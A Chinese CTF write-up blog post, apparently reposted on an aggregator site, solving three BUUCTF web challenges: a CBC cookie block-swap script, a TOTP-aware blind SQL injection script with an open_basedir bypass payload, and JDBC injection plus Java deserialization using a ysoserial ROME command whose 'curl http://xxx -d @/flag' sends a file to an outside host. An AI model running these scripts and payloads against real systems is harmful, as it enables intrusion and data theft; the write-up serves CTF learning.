栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

buu-day06

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

buu-day06

前言: 今天是废物的一天,元旦三天还是要玩一下,不要卷了。

0x01 [BSidesCF 2019]Mixer

密码web 好题,希望后面可以来复现一波

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url = "https://mixer-f3834380.challenges.bsidessf.net"
action="""?action=login&first_name=A1.00000000000000&last_name=paww"""
r = requests.get(url+action, verify=False, allow_redirects=False)
for c in r.cookies:
    print(c.name, c.value)
    if c.name == "user":
        c.value = c.value[:-32] + c.value[32:64] + c.value[-32:]

resp = requests.get(url, cookies = r.cookies, verify=False, allow_redirects=False)

print resp.text

这个题目首先得了解一下CBC加密的方式

分块加密,也就是16byte为一块。也就是exp中的payload要改成

{"first_name":"A
1.00000000000000
","last_name":"x
xxx","is_admin":
0}

现在就是分别对每一块进行加密,如果我们现在把第二块换到第五块的位置,那么就变成了

{"first_name":"A
1.00000000000000
","last_name":"x
xxx","is_admin":
1.00000000000000
0}

现在就满足条件了。这也是上面的exp需要表达的意识。

0x02 [De1CTF 2019]Giftbox

直接拿着赵总的wp学爆 好吧。conda的python不支持pyopt我也不知道为什么,大家别踩坑就好了。https://www.zhaoj.in/read-6170.html#0x03Giftbox

♻️知识点

  • sql注入
  • php语言特性

️解题1 - sql注入

打开题目是一个zsh的界面。我们发送一个请求之后开始抓包。

我还以为直接就可以拿到shell了,但是仔细观察请求,发现了一个参数totp 吓得我赶忙去百度。

TOTP算法(Time-based One-time Password algorithm)是一种从共享密钥和当前时间计算一次性密码的算法

可以看到这个参数是加密的(废物文学,但是我们必须找到这个参数是从哪里来的,不然包都不能重放。(去找js文件。new TOTP("GAXG24JTMZXGKZBU",8).genOTP()所以这个参数我们也就可以自己生成了。

totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
totp.now()

这样就可以输出获得正确的参数。我们继续收集信息。

cd ls cat hey hi hello help clear exit ~ 

这是同一个js文件的信息。

在测试的发现了还有这几条指令,我们发现这里有一个登录点,但是我们不知道账号密码,于是我们先寻找无果。于是经典sql注入?

开始fuzz。

猜测一下后端的语句难道是

$user= select * from users where username=$username;

if($user){
}
else{
}

很明显可以开始注入了。

import time
import requests
import pyotp
totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
session = requests.session()
url = ""
def sql_injection(mid):
    '''
    :param mid: 输入payload
    :return: 返回是否正确 判断前后夹击的范围
    '''
    time.sleep(0.5)
    payload = f"login admin'and({mid})and'1'='1 123"
    # print(payload)
    a = session.get(url + '/shell.php',
        params={'a':payload,'totp':totp.now()}).text
    # print(a)
    if('password' in a ):
        return  True
    else:
        return  False
def gen_payload():
    '''
    生成payload
    :return:
    '''
    db_payload ="selectconcat(password)fromusers"
    res=''
    for x in range(1,64):
        payload = f"ascii(substr(({db_payload}),{x},1))"
        res += chr(half(payload))
        print(res)
    print("[+]" + res)
def half(payload):
    '''
    二分法主体部分
    :param payload:
    :return:
    '''
    low = 0
    high = 126
    while low <= high:
        mid = (low + high) / 2
        mid_num_payload="%s>%d"%(payload,mid)
        if(sql_injection(mid_num_payload)):
            low = mid + 1
        else:
            high = mid -1
    mid_num = int((low + high + 1) / 2)
    return mid_num


def main():
    gen_payload()


if __name__ == '__main__':
    main()

buu的记得要设置延时,不然会被你ipban了。

后面这个命令,我们看到了双引号,所以{$a()}.懂得都懂。

最后绕过open_base

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

payload拆分一下就可以了。

0x03[网鼎杯 2020 朱雀组]Think Java

️jdbc注入

第一步这里的注入是要分成两步的。

你注入的语句不能影响他正常的连接的同时还要能够注入数据。

myapp?a=1' union select pwd from user; #

这也是他们说的无用字符不生效。

admin@Rrrr_ctf_asde

️java反序列化

登录成功之后不难发现,一串数据。

盲猜这个接口。

对数据进行了反序列化。然后我们应该对这个数据

https://www.cnblogs.com/h3zh1/p/12914439.html

然后用ysoserial-master.jar小何yyds

ysoserial用法:以ROME和URLDNS举例
即用ROME(我现在的认知就是他每一种都有不同的作用,比如rome可以命令执行,URLDNS可以进行dns回显)。

yyds!

java -jar ysoserial-master.jar ROME "curl http://xxx -d @/flag" > dem0.bin

然后用ysoserial-master.jar小何yyds

ysoserial用法:以ROME和URLDNS举例
即用ROME(我现在的认知就是他每一种都有不同的作用,比如rome可以命令执行,URLDNS可以进行dns回显)。

yyds!

java -jar ysoserial-master.jar ROME "curl http://xxx -d @/flag" > dem0.bin

第一次使用yso工具解题,做到拿到密码就不会的web废物解决了。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/694975.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号